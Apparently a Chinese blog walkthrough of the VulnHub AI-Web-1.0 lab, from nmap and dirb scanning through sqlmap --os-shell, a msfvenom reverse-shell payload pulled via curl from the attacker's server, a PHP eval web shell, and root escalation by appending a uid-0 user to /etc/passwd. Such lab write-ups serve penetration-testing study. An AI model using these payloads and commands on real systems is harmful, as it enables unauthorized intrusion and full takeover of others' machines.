您现在的位置是:首页 >技术杂谈 >vulnhub之AI-Web-1.0网站首页技术杂谈

vulnhub之AI-Web-1.0

山川绿水 2023-06-19 09:19:54
简介vulnhub之AI-Web-1.0

vulnhub之AI-Web-1.0

一、信息收集

1.主机发现

nmap 172.25.0.0-255

发现了靶机IP:172.25.0.13

2.端口扫描

nmap -A -sS -sV -Pn -O -p- 172.25.0.13

发现80端口是开放的。

3.目录扫描

sudo dirb http://172.25.0.13/

发现了robots.txt文件
在这里插入图片描述

在对其进行目录二次扫描,发现了sql注入

http://172.25.0.13/se3reTdir777/#

在这里插入图片描述

还发现了phpinfo

http://172.25.0.13//m3diNf0//info.php

在这里插入图片描述

二、漏洞发现 & 漏洞利用

1.sql的报错注入到getshell

1.因为我们想要的是getshell,直接上sqlmap试试

sudo python /usr/bin/sqlmap -r sql.txt --data=uid=1 --os-shell

中途需要需要输入🐴儿的类型,因为这里是PHP搭建的站,我们选择4

在这里插入图片描述

2.寻找绝对路径,就从前面的phpinfo里面寻找答案

在这里插入图片描述
从上面的phpinfo里面可以看出,网站的根目录是

/home/www/html/web1x443290o2sdf92213 

有根据目录扫描的结果,看到了uploads

/m3diNf0/
/se3reTdir777/uploads/

在这里插入图片描述
我们推测其绝对路径为

/home/www/html/web1x443290o2sdf92213/se3reTdir777/upload/

虽然说是推测,但是这里的绝对路径的寻找,中途填了好多的坑

在这里插入图片描述

最后,成功getshell
在这里插入图片描述

2.🐴儿上传及利用

1.本来我觉得linux的操作系统,直接上传msf生成的🐴儿,发现就算给了执行权限怎么也执行不了。

  • 🐴儿的生成
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.8.0.70 LPORT=1234 -f elf > 1234.elf

  • 🐴儿的上传

1.服务端开启HTTP服务

python3 -m http.server 8888

2.客服端下载🐴儿

curl -o mshell.elf http://10.8.0.70:8888/mshell.

在这里插入图片描述
3.赋予🐴儿权限

chmod +x mshell.elf

在这里插入图片描述

4.本地最好监听

use exploit/multi/handler
set lhost 10.8.0.70
set lport 4444
set linux/x64/meterpreter/reverse_tcp
run

在这里插入图片描述

开始我还以为是我🐴儿生病了,跑不动,后面生成的🐴儿也跑不动。

3.小🐴拉大🐴

因为前面那个🐴可能太大了,拉不动,先整个小马玩玩

<?php eval($_POST['cmd']);?>

在这里插入图片描述
还是使用上传大🐴的方式,传小🐴儿,这里不在赘述,直接上蚁剑连接

在这里插入图片描述

来到蚁剑的终端执行我们的大🐴儿

./mshell.elf

在这里插入图片描述

因为中途大🐴生病了,换了一个大🐴上去,成功反弹shell

在这里插入图片描述

三、提权

find / -user www-data 2>/dev/null/

发现了/etc/passwd属于www-data下的文件,因此,我们可以修改/etc/passwd下的文件,从而获取shell,前面已经测试了该操作系统的内核漏洞,我发现都没有已知漏洞。
因为/etc/passwd下的密码是加密的,因此需要加密我们的密码

perl -le 'print crypt("password@123","addedsalt")

当然也可以换个密码,将用户和密码写入/etc/passwd

echo "test:advwtv/9yU5yQ:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd

在这里插入图片描述

当我们想su时,报错了

su: must be run from a terminal

在这里插入图片描述
上述报错意思是su这个命令必须运行在终端中,这个时候我们使用python将其转换为交互式

python -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述

切换至test用户,输入密码,直接获取root权限,成功获取flag

flag{cbe5831d864cbc2a104e2c2b9dfb50e5acbdee71} 

在这里插入图片描述

四、知识点总结

1.查找linux下某用户的所属文件

find / -user uname 2>/dev/null

2.使用perl进行加盐加密

perl -le 'print crypt("password@123","addedsalt")

3.使用python转交互式

python -c 'import pty;pty.spawn("/bin/bash")'
风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。